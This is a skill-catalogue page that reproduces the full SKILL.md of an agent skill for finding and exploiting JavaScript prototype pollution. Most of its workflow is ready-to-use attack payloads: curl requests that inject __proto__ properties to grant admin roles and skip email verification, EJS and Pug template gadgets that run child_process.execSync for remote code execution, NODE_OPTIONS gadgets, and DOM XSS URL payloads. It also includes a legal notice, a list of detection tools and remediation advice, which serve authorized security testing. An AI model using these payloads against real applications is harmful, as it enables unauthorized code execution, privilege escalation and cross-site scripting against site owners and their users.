Skip to main content
skill CX Codex

exploiting-prototype-pollution-in-javascript — Claude Code skill

The exploiting-prototype-pollution-in-javascript Claude Code skill checks JavaScript and Node.js apps for prototype pollution. It activates during reviews of object merges that accept user-controlled keys.

Apache-2.0 267 installs ★ 36,511 updated 2026-08-31

Install into Claude Code · Skills CLI (Vercel) All methods and platforms ↓
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-prototype-pollution-in-javascript -a claude-code
Open on GitHub

What exploiting-prototype-pollution-in-javascript does

The skill looks for prototype pollution in client-side and server-side JavaScript applications, then examines whether it could lead to DOM XSS, RCE, or an authentication bypass. It covers pollution sources, affected properties, and code paths that use those properties.

Client-side testing requires Burp Suite with the DOM Invader extension and a browser developer console. Server-side testing needs a Node.js development environment. The listed prerequisites also include Burp’s Prototype Pollution Gadgets Scanner, familiarity with JavaScript’s prototype chain, and knowledge of common pollution gadgets. Testing is for systems owned by the tester or covered by written permission.

What it helps with

  • locate prototype pollution sources in a web application
  • check merge, clone, or extend operations that accept user-controlled keys
  • assess whether polluted properties can reach a DOM XSS or RCE sink
  • investigate authentication and authorization bypass risks

Example prompts for the agent

  • Check this application’s object merge operations for prototype pollution.
  • Test the authorized staging app for DOM XSS through prototype pollution.
  • Assess the Node.js service for prototype pollution and possible authorization bypass.

How to install exploiting-prototype-pollution-in-javascript

1Skills CLI (Vercel)

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-prototype-pollution-in-javascript -a claude-code

2Manually: put the files in place

~/.claude/skills/exploiting-prototype-pollution-in-javascript/SKILL.md

Copy the whole skill folder; for one project use .claude/skills/exploiting-prototype-pollution-in-javascript/

Step by step, with commands for each platform: How to install skills in Claude Code: five ways

Questions about exploiting-prototype-pollution-in-javascript

How do I install exploiting-prototype-pollution-in-javascript in Claude Code?

Run npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-prototype-pollution-in-javascript -a claude-code. The skill file is at ~/.claude/skills/exploiting-prototype-pollution-in-javascript/SKILL.md.

What does exploiting-prototype-pollution-in-javascript do?

It checks JavaScript and Node.js applications for prototype pollution and examines whether the flaw could enable XSS, RCE, or an authentication bypass.

What does exploiting-prototype-pollution-in-javascript require?

Client-side checks require Burp Suite with DOM Invader and a browser developer console; server-side checks require a Node.js development environment. The listed requirements also include Burp’s Prototype Pollution Gadgets Scanner and knowledge of JavaScript prototypes and common gadgets.

Source text

SKILL.md · Apache-2.0
---
name: exploiting-prototype-pollution-in-javascript
description: Detects and exploits JavaScript prototype pollution vulnerabilities
  in client-side and server-side (Node.js) applications to achieve XSS, RCE, or
  authentication bypass through property injection into Object.prototype. Use when
  assessing a JavaScript/Node.js application for prototype pollution, especially
  where a merge, clone, or extend function accepts user-controlled keys.
domain: cybersecurity
subdomain: web-application-security
tags:
- prototype-pollution
- javascript
- node-js
- xss
- rce
- property-injection
- dom-xss
- server-side-pollution
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
mitre_attack:
- T1190
- T1059.007
- T1505.003
- T1083
- T1055
---

# Exploiting Prototype Pollution in JavaScript

## When to Use
- When testing Node.js or JavaScript-heavy web applications
- During assessment of APIs accepting deep-merged JSON objects
- When testing client-side JavaScript frameworks for DOM XSS via prototype pollution
- During code review of object merge/clone/extend operations
- When evaluating npm packages for prototype pollution gadgets

## Prerequisites
- Burp Suite with DOM Invader extension for client-side prototype pollution detection
- Node.js development environment for server-side testing
- Understanding of JavaScript prototype chain and object inheritance
- Knowledge of common pollution gadgets (sources, sinks, and exploitable properties)
- Prototype Pollution Gadgets Scanner Burp extension for server-side detection
- Browser developer console for client-side prototype manipulation


> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

## Workflow

### Step 1 — Identify Prototype Pollution Sources
```javascript
// Client-side: Test URL-based sources
// Navigate to: http://target.com/page?__proto__[polluted]=true
// Or use constructor: http://target.com/page?constructor[prototype][polluted]=true

// Check in browser console:
console.log(({}).polluted); // If returns "true", pollution confirmed

// Common URL-based pollution vectors:
// ?__proto__[key]=value
// ?__proto__.key=value
// ?constructor[prototype][key]=value
// ?constructor.prototype.key=value

// Hash fragment pollution:
// http://target.com/#__proto__[key]=value
```

### Step 2 — Test Server-Side Prototype Pollution
```bash
# Test via JSON body with __proto__
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"isAdmin": true}}'

# Test via constructor.prototype
curl -X POST http://target.com/api/update \
  -H "Content-Type: application/json" \
  -d '{"constructor": {"prototype": {"isAdmin": true}}}'

# Test for status code reflection (detection technique)
# Pollute status property to detect server-side pollution
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"status": 510}}'
# If response returns 510, server-side pollution confirmed

# JSON content type pollution
curl -X POST http://target.com/api/settings \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"shell": "/proc/self/exe", "NODE_OPTIONS": "--require /proc/self/environ"}}'
```

### Step 3 — Exploit Client-Side for DOM XSS
```javascript
// Step 1: Find pollution source (URL parameter, JSON input, postMessage)
// Step 2: Find a gadget - a property read from prototype that reaches a sink

// Common gadgets for DOM XSS:
// innerHTML gadget:
// ?__proto__[innerHTML]=<img/src/onerror=alert(1)>

// jQuery $.html() gadget:
// ?__proto__[html]=<img/src/onerror=alert(1)>

// transport URL gadget (common in analytics scripts):
// ?__proto__[transport_url]=data:,alert(1)//

// Sanitizer bypass via prototype pollution:
// ?__proto__[allowedTags]=<script>
// ?__proto__[tagName]=IMG

// Use DOM Invader (Burp Suite built-in):
// 1. Enable DOM Invader in Burp's embedded browser
// 2. Enable Prototype Pollution option
// 3. Browse application - DOM Invader auto-detects sources
// 4. Click "Scan for gadgets" to find exploitable sinks
```

### Step 4 — Exploit Server-Side for RCE
```bash
# Node.js child_process gadget (RCE)
# If application calls child_process.execSync(), spawn(), or fork():
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}'

# EJS template engine gadget
curl -X POST http://target.com/api/update \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"client": true, "escapeFunction": "JSON.stringify; process.mainModule.require(\"child_process\").execSync(\"id\")"}}'

# Handlebars template gadget
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}'

# Pug template engine gadget
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"block": {"type": "Text", "line": "process.mainModule.require(\"child_process\").execSync(\"id\")"}}}'
```

### Step 5 — Exploit for Authentication and Authorization Bypass
```bash
# Pollute isAdmin or role property
curl -X POST http://target.com/api/profile \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"isAdmin": true, "role": "admin"}}'

# Pollute auth-related properties
curl -X POST http://target.com/api/settings \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"verified": true, "emailVerified": true}}'

# Bypass JSON schema validation
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"additionalProperties": true}}'
```

### Step 6 — Detect with Automated Tools
```bash
# Use ppfuzz for automated detection
ppfuzz -l urls.txt -o results.txt

# Nuclei templates for prototype pollution
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/prototype-pollution.yaml

# Server-side detection with Burp Scanner
# Enable "Server-side prototype pollution" scan check
# Review issues in Burp Dashboard

# Manual detection via timing/error-based techniques
# Pollute a property that causes detectable server behavior change
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"toString": "polluted"}}'
# If server errors (500), pollution is working
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| Prototype Chain | JavaScript inheritance mechanism where objects inherit from Object.prototype |
| __proto__ | Accessor property that exposes the prototype of an object |
| Pollution Source | Input point that allows setting properties on Object.prototype |
| Pollution Sink | Code that reads a polluted property and performs a dangerous operation |
| Gadget | A property that flows from prototype to a dangerous sink (source-to-sink chain) |
| Deep Merge | Recursive object merge functions that may process __proto__ as a regular key |
| constructor.prototype | Alternative path to access and pollute the prototype object |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| DOM Invader | Burp Suite built-in tool for detecting client-side prototype pollution |
| Prototype Pollution Gadgets Scanner | Burp extension for server-side gadget detection |
| ppfuzz | Automated prototype pollution fuzzer |
| Nuclei | Template-based scanner with prototype pollution templates |
| server-side-prototype-pollution | Burp Scanner check for server-side detection |
| ESLint security plugin | Static analysis for prototype pollution patterns in code |

## Common Scenarios

1. **DOM XSS via Analytics** — Pollute transport_url property to inject JavaScript through analytics tracking scripts that read URL from prototype
2. **RCE via Template Engine** — Exploit EJS/Pug/Handlebars gadgets to execute arbitrary commands through polluted template rendering properties
3. **Admin Privilege Escalation** — Pollute isAdmin or role properties to bypass authorization checks in Node.js applications
4. **JSON Schema Bypass** — Pollute schema validation properties to bypass input validation and inject malicious data
5. **Denial of Service** — Pollute toString or valueOf to crash the application when objects are coerced to primitives

## Output Format

```
## Prototype Pollution Assessment Report
- **Target**: http://target.com
- **Type**: Server-Side Prototype Pollution
- **Impact**: Remote Code Execution via EJS template gadget

### Findings
| # | Source | Gadget | Sink | Impact |
|---|--------|--------|------|--------|
| 1 | POST /api/merge __proto__ | EJS escapeFunction | Template render | RCE |
| 2 | POST /api/profile __proto__ | isAdmin property | Auth middleware | Privilege Escalation |
| 3 | URL ?__proto__[innerHTML] | innerHTML property | DOM write | Client-Side XSS |

### Remediation
- Use Object.create(null) for configuration objects instead of {}
- Freeze Object.prototype with Object.freeze(Object.prototype)
- Sanitize __proto__ and constructor keys in user input
- Use Map instead of plain objects for user-controlled data
- Update vulnerable npm packages (lodash, merge-deep, etc.)
```

© mahipal · Apache-2.0 · mukul975/Anthropic-Cybersecurity-Skills

Similar skills

All skills for Security →

From the same set152

The whole set →
exploiting-mass-assignment-in-rest-apis exploiting-mass-assignment-in-rest-apis guides testing and exploitation of mass assignment flaws in REST APIs. Useful for finding autobinding issues across ORM-backed endpoints. CX Codex +1 271installs exploiting-nosql-injection-vulnerabilities The exploiting-nosql-injection-vulnerabilities skill guides NoSQL injection checks in APIs and web apps backed by MongoDB or similar databases. Use it to assess input handling and query defenses during authorized testing. CX Codex +1 271installs building-vulnerability-scanning-workflow building-vulnerability-scanning-workflow is a Claude Code skill that automates infrastructure vulnerability detection, prioritization, and tracking with Nessus, Qualys, or OpenVAS, linking results to SIEM alerts for SOC teams. CX Codex +1 271installs testing-for-email-header-injection testing-for-email-header-injection — a skill for penetration testing web application email functions—contact forms, password resets, newsletter signups—against CRLF and SMTP header injection attacks. CX Codex +1 270installs exploiting-template-injection-vulnerabilities exploiting-template-injection-vulnerabilities is a Claude Code skill for detecting and exploiting SSTI in Jinja2, Twig, Freemarker and other template engines during authorized pentests. CX Codex +1 266installs performing-web-cache-poisoning-attack performing-web-cache-poisoning-attack — a skill that walks an agent through cache poisoning checks: unkeyed headers and parameters that still end up in the cached page. CX Codex +1 264installs conducting-cloud-penetration-testing conducting-cloud-penetration-testing — a skill for running authorized penetration tests on AWS, Azure, and GCP cloud environments. CX Codex +1 263installs analyzing-ransomware-payment-wallets The analyzing-ransomware-payment-wallets skill follows cryptocurrency payments after ransomware incidents, linking wallets, transactions, mixers, and exchange deposits for forensic analysis. CX Codex +1 262installs

Project sponsors

Companies that keep this analytics open